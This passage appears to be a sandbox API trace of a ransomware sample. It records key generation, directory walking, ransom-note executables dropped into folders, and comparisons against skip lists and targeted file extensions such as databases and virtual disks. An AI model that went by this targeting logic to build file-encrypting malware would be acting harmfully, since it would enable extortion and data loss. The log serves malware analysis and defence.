	[0044.186] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000
	[0044.186] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0044.187] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0044.187] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0044.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0044.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0044.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0044.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0044.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.187] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0044.188] CloseHandle (hObject=0x14c) returned 1
	[0044.188] CloseHandle (hObject=0x154) returned 1
	[0044.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0044.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0044.189] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0044.189] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db4b230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2db4b230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.189] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.189] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db71390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="Apollon865.txt.exe") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2=".") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="..") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="windows") returned -1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="bootmgr") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="temp") returned -1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="pagefile.sys") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="boot") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="ids.txt") returned 1
	[0044.189] lstrcmpiW (lpString1="Sample Music", lpString2="ntuser.dat") returned 1
	[0044.190] lstrcmpiW (lpString1="Sample Music", lpString2="perflogs") returned 1
	[0044.190] lstrcmpiW (lpString1="Sample Music", lpString2="MSBuild") returned 1
	[0044.190] lstrlenW (lpString="Sample Music") returned 12
	[0044.190] lstrlenW (lpString="C:\\Users\\Public\\Music\\desktop.ini") returned 33
	[0044.190] lstrcpyW (in: lpString1=0x119e634, lpString2="Sample Music" | out: lpString1="Sample Music") returned="Sample Music"
	[0044.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0044.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5bdca8
	[0044.190] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7bd0
	[0044.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db71390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0
	[0044.190] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.190] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0044.190] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Music\\Sample Music", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music"
	[0044.190] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0044.190] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0044.190] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music") returned 34
	[0044.190] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Music\\Sample Music" | out: lpString1="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music"
	[0044.190] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.190] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0044.191] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0044.191] GetLastError () returned 0x20
	[0044.191] Sleep (dwMilliseconds=0xc8) 
	[0044.384] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0044.385] GetLastError () returned 0x0
	[0044.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0044.385] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0044.385] CloseHandle (hObject=0x14c) returned 1
	[0044.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0044.385] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.385] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db71390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.385] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.385] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.385] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.385] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db71390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.385] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.385] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.385] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.385] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.385] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0044.385] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.385] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0044.385] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0044.385] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0044.385] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0044.386] lstrlenW (lpString="desktop.ini") returned 11
	[0044.386] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music\\*") returned 36
	[0044.386] lstrcpyW (in: lpString1=0x119e64e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0044.386] lstrlenW (lpString="desktop.ini") returned 11
	[0044.386] lstrlenW (lpString="Apollon865") returned 10
	[0044.386] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0044.386] lstrlenW (lpString=".dll") returned 4
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0044.386] lstrlenW (lpString=".lnk") returned 4
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0044.386] lstrlenW (lpString=".ini") returned 4
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0044.386] lstrlenW (lpString=".sys") returned 4
	[0044.386] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0044.386] lstrlenW (lpString="desktop.ini") returned 11
	[0044.386] lstrlenW (lpString="bak") returned 3
	[0044.386] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0044.386] lstrlenW (lpString="ba_") returned 3
	[0044.386] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0044.386] lstrlenW (lpString="dbb") returned 3
	[0044.386] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0044.386] lstrlenW (lpString="vmdk") returned 4
	[0044.386] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0044.386] lstrlenW (lpString="rar") returned 3
	[0044.386] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0044.386] lstrlenW (lpString="zip") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0044.387] lstrlenW (lpString="tgz") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0044.387] lstrlenW (lpString="vbox") returned 4
	[0044.387] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0044.387] lstrlenW (lpString="vdi") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0044.387] lstrlenW (lpString="vhd") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0044.387] lstrlenW (lpString="vhdx") returned 4
	[0044.387] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0044.387] lstrlenW (lpString="avhd") returned 4
	[0044.387] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0044.387] lstrlenW (lpString="db") returned 2
	[0044.387] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0044.387] lstrlenW (lpString="db2") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0044.387] lstrlenW (lpString="db3") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0044.387] lstrlenW (lpString="dbf") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0044.387] lstrlenW (lpString="mdf") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0044.387] lstrlenW (lpString="mdb") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0044.387] lstrlenW (lpString="sql") returned 3
	[0044.387] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0044.387] lstrlenW (lpString="sqlite") returned 6
	[0044.387] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0044.387] lstrlenW (lpString="sqlite3") returned 7
	[0044.387] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0044.387] lstrlenW (lpString="sqlitedb") returned 8
	[0044.387] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0044.387] lstrlenW (lpString="xml") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0044.388] lstrlenW (lpString="$er") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0044.388] lstrlenW (lpString="4dd") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0044.388] lstrlenW (lpString="4dl") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0044.388] lstrlenW (lpString="^^^") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0044.388] lstrlenW (lpString="abs") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0044.388] lstrlenW (lpString="abx") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0044.388] lstrlenW (lpString="accdb") returned 5
	[0044.388] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0044.388] lstrlenW (lpString="accdc") returned 5
	[0044.388] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0044.388] lstrlenW (lpString="accde") returned 5
	[0044.388] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0044.388] lstrlenW (lpString="accdr") returned 5
	[0044.388] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0044.388] lstrlenW (lpString="accdt") returned 5
	[0044.388] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0044.388] lstrlenW (lpString="accdw") returned 5
	[0044.388] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0044.388] lstrlenW (lpString="accft") returned 5
	[0044.388] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0044.388] lstrlenW (lpString="adb") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0044.388] lstrlenW (lpString="adb") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0044.388] lstrlenW (lpString="ade") returned 3
	[0044.388] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0044.388] lstrlenW (lpString="adf") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0044.389] lstrlenW (lpString="adn") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0044.389] lstrlenW (lpString="adp") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0044.389] lstrlenW (lpString="alf") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0044.389] lstrlenW (lpString="ask") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0044.389] lstrlenW (lpString="btr") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0044.389] lstrlenW (lpString="cat") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0044.389] lstrlenW (lpString="cdb") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0044.389] lstrlenW (lpString="ckp") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0044.389] lstrlenW (lpString="cma") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0044.389] lstrlenW (lpString="cpd") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0044.389] lstrlenW (lpString="dacpac") returned 6
	[0044.389] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0044.389] lstrlenW (lpString="dad") returned 3
	[0044.389] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0044.389] lstrlenW (lpString="dadiagrams") returned 10
	[0044.389] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0044.389] lstrlenW (lpString="daschema") returned 8
	[0044.389] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0044.389] lstrlenW (lpString="db-journal") returned 10
	[0044.389] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0044.389] lstrlenW (lpString="db-shm") returned 6
	[0044.389] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0044.389] lstrlenW (lpString="db-wal") returned 6
	[0044.389] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0044.390] lstrlenW (lpString="dbc") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0044.390] lstrlenW (lpString="dbs") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0044.390] lstrlenW (lpString="dbt") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0044.390] lstrlenW (lpString="dbv") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0044.390] lstrlenW (lpString="dbx") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0044.390] lstrlenW (lpString="dcb") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0044.390] lstrlenW (lpString="dct") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0044.390] lstrlenW (lpString="dcx") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0044.390] lstrlenW (lpString="ddl") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0044.390] lstrlenW (lpString="dlis") returned 4
	[0044.390] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0044.390] lstrlenW (lpString="dp1") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0044.390] lstrlenW (lpString="dqy") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0044.390] lstrlenW (lpString="dsk") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0044.390] lstrlenW (lpString="dsn") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0044.390] lstrlenW (lpString="dtsx") returned 4
	[0044.390] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0044.390] lstrlenW (lpString="dxl") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0044.390] lstrlenW (lpString="eco") returned 3
	[0044.390] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0044.390] lstrlenW (lpString="ecx") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0044.391] lstrlenW (lpString="edb") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0044.391] lstrlenW (lpString="epim") returned 4
	[0044.391] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0044.391] lstrlenW (lpString="fcd") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0044.391] lstrlenW (lpString="fdb") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0044.391] lstrlenW (lpString="fic") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0044.391] lstrlenW (lpString="flexolibrary") returned 12
	[0044.391] lstrlenW (lpString="fm5") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0044.391] lstrlenW (lpString="fmp") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0044.391] lstrlenW (lpString="fmp12") returned 5
	[0044.391] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0044.391] lstrlenW (lpString="fmpsl") returned 5
	[0044.391] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0044.391] lstrlenW (lpString="fol") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0044.391] lstrlenW (lpString="fp3") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0044.391] lstrlenW (lpString="fp4") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0044.391] lstrlenW (lpString="fp5") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0044.391] lstrlenW (lpString="fp7") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0044.391] lstrlenW (lpString="fpt") returned 3
	[0044.391] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0044.391] lstrlenW (lpString="frm") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0044.392] lstrlenW (lpString="gdb") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0044.392] lstrlenW (lpString="gdb") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0044.392] lstrlenW (lpString="grdb") returned 4
	[0044.392] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0044.392] lstrlenW (lpString="gwi") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0044.392] lstrlenW (lpString="hdb") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0044.392] lstrlenW (lpString="his") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0044.392] lstrlenW (lpString="ib") returned 2
	[0044.392] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0044.392] lstrlenW (lpString="idb") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0044.392] lstrlenW (lpString="ihx") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0044.392] lstrlenW (lpString="itdb") returned 4
	[0044.392] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0044.392] lstrlenW (lpString="itw") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0044.392] lstrlenW (lpString="jet") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0044.392] lstrlenW (lpString="jtx") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0044.392] lstrlenW (lpString="kdb") returned 3
	[0044.392] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0044.392] lstrlenW (lpString="kexi") returned 4
	[0044.392] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0044.392] lstrlenW (lpString="kexic") returned 5
	[0044.392] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0044.392] lstrlenW (lpString="kexis") returned 5
	[0044.393] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0044.393] lstrlenW (lpString="lgc") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0044.393] lstrlenW (lpString="lwx") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0044.393] lstrlenW (lpString="maf") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0044.393] lstrlenW (lpString="maq") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0044.393] lstrlenW (lpString="mar") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0044.393] lstrlenW (lpString="marshal") returned 7
	[0044.393] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0044.393] lstrlenW (lpString="mas") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0044.393] lstrlenW (lpString="mav") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0044.393] lstrlenW (lpString="maw") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0044.393] lstrlenW (lpString="mdbhtml") returned 7
	[0044.393] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0044.393] lstrlenW (lpString="mdn") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0044.393] lstrlenW (lpString="mdt") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0044.393] lstrlenW (lpString="mfd") returned 3
